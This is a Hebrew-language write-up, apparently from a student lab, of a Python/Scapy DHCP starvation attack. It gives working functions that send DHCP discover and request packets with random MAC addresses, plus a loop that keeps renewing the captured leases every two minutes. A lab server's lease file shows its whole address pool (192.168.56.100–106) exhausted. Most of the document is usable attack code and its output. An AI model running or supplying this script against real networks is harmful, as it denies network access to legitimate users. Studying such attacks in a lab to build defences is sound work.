# DHCP Starvation

בתחילת הסקריפט יש ArgumentParser שמאפשר לקבל מידע על הארגומנטים הניתנים לשליחה ומאפשר לסקריפט לקבל ארגומנטים בצרה נוחה.

```
parser = argparse.ArgumentParser(description="DHCP Starving. by Daniel Yochanan and Avi Feder")
parser.add_argument("-i", "--IFACE", type=str, metavar='', help="Interface you wish to use")
parser.add_argument("-t", "--TARGET", type=str, metavar='', help="IP of target server")
parser.add_argument("-p", "--PERSISTANT", type=bool, metavar='', help="persistant?")
args = parser.parse_args()
```

הארגומנטים שאפשר לשלוח הם:

1. עזרה.
2. בחירת interface.
3. בחירת DHCP server שלו נעשה הרעבה.
4. persistant, מאפשר לבחור האם לתחזק את ההתקפה.

לאחר מכן, בשלב הראשון, הסקריפט שולח בקשת discover, כל בקשה עם mac אחר.

```
def dhcpDiscover(src_mac_random, dhcp_server_ip, interface):
    options = [("message-type", "discover"),
               ("max_dhcp_size", 1500),
               ("client_id", mac2str(src_mac_random)),
               ("lease_time", 10000),
               ("end", "0")]
    transaction_id = random.randint(1, 900000000)
    dhcp_discover = Ether(dst='ff:ff:ff:ff:ff:ff', src=src_mac_random) \
                    / IP(src='0.0.0.0', dst=dhcp_server_ip) \
                    / UDP(sport=68, dport=67) \
                    / BOOTP(chaddr=[mac2str(src_mac_random)], xid=transaction_id, flags=0xffffff) \
                    / DHCP(options=options)
    sendp(dhcp_discover, iface=interface)
    dhcp_offer = sniff(count=1, lfilter=lambda p: BOOTP in p and p[BOOTP].xid == transaction_id)
    return dhcp_offer
```

בשלב השני, הסקריפט ממתין לoffer על אותה בקשה.

כאשר הוא מקבל את הoffer הוא שולח request לאותו ip שמופיע בoffer וככה תופס את אותה כתובת.

```
def dhcpRequest(dhcp_offer, src_mac_random, interface):
    transaction_id = dhcp_offer[0][BOOTP].xid
    server_id = dhcp_offer[0][DHCP].options[1][1]
    requested_addr = dhcp_offer[0][BOOTP].yiaddr
    print(requested_addr)
    options = [("message-type", "request"),
               ("server_id", server_id),
               ("requested_addr", requested_addr),
               ("end", "0")]
    dhcp_request = Ether(dst='ff:ff:ff:ff:ff:ff', src=src_mac_random) \
                   / IP(src='0.0.0.0', dst='255.255.255.255') \
                   / UDP(sport=68, dport=67) \
                   / BOOTP(chaddr=[mac2str(src_mac_random)], xid=transaction_id) \
                   / DHCP(options=options)
    sendp(dhcp_request, iface=interface)
    return requested_addr
```

ע"מ לתחזק את ההתקפה, הכתובות mac הרנדומליות נשמרו בצמוד לip המוקצה לאותה כתובת.

וכך, בשלב השלישי, כל 2 דקות הסקריפט שולח request מחדש עם mac וip תואמים, ע"מ לחדש את ההקצאה ולשמור על הip תפוס (כמובן אם הוגדר לסקריפט לעשות זאת ע"י p True-).

```
def persistant(mac_and_ip, dhcp_server_ip, interface):
    while (True):
        for i in mac_and_ip:
            transaction_id = random.randint(1, 900000000)
            server_id = dhcp_server_ip
            requested_addr = i[0]
            options = [("message-type", "request"),
                       ("server_id", server_id),
                       ("requested_addr", requested_addr),
                       ("end", "0")]
            dhcp_request = Ether(dst='ff:ff:ff:ff:ff:ff', src=i[1]) \
                           / IP(src=requested_addr, dst='255.255.255.255') \
                           / UDP(sport=68, dport=67) \
                           / BOOTP(chaddr=[mac2str(i[1])], xid=transaction_id) \
                           / DHCP(options=options)
            sendp(dhcp_request, iface=interface)
        sleep(120)
```

לשם הדגמה, בשרת הDHCP, מוגדר טווח כתובות מ100 עד 106.

כפי שאפשר לראות בקובץ dhcpd.leases, כל הכתובות נתפסו אחת אחרי השניה.

```
lease 192.168.56.100 {
  starts 3 2020/10/28 11:14:34;
  ends 3 2020/10/28 11:24:34;
  cltt 3 2020/10/28 11:14:34;
  binding state active;
  next binding state free;
  rewind binding state free;
  hardware ethernet 02:00:4c:4f:4f:50;
}
lease 192.168.56.101 {
  starts 3 2020/10/28 11:14:36;
  ends 3 2020/10/28 11:24:36;
  cltt 3 2020/10/28 11:14:36;
  binding state active;
  next binding state free;
  rewind binding state free;
  hardware ethernet 02:00:4c:4f:4f:51;
}
lease 192.168.56.102 {
  starts 3 2020/10/28 11:15:35;
  ends 3 2020/10/28 11:25:35;
  cltt 3 2020/10/28 11:15:35;
  binding state active;
  next binding state free;
  rewind binding state free;
  hardware ethernet 02:00:4c:4f:4f:52;
}
lease 192.168.56.103 {
  starts 3 2020/10/28 11:15:37;
  ends 3 2020/10/28 11:25:37;
  cltt 3 2020/10/28 11:15:37;
  binding state active;
  next binding state free;
  rewind binding state free;
  hardware ethernet 02:00:4c:4f:4f:53;
}
lease 192.168.56.104 {
  starts 3 2020/10/28 11:16:36;
  ends 3 2020/10/28 11:26:36;
  cltt 3 2020/10/28 11:16:36;
  binding state active;
  next binding state free;
  rewind binding state free;
  hardware ethernet 02:00:4c:4f:4f:54;
}
lease 192.168.56.105 {
  starts 3 2020/10/28 11:16:39;
  ends 3 2020/10/28 11:26:39;
  cltt 3 2020/10/28 11:16:39;
  binding state active;
  next binding state free;
  rewind binding state free;
  hardware ethernet 02:00:4c:4f:4f:55;
}
lease 192.168.56.106 {
  starts 3 2020/10/28 11:17:37;
  ends 3 2020/10/28 11:27:37;
  cltt 3 2020/10/28 11:17:37;
  binding state active;
  next binding state free;
  rewind binding state free;
```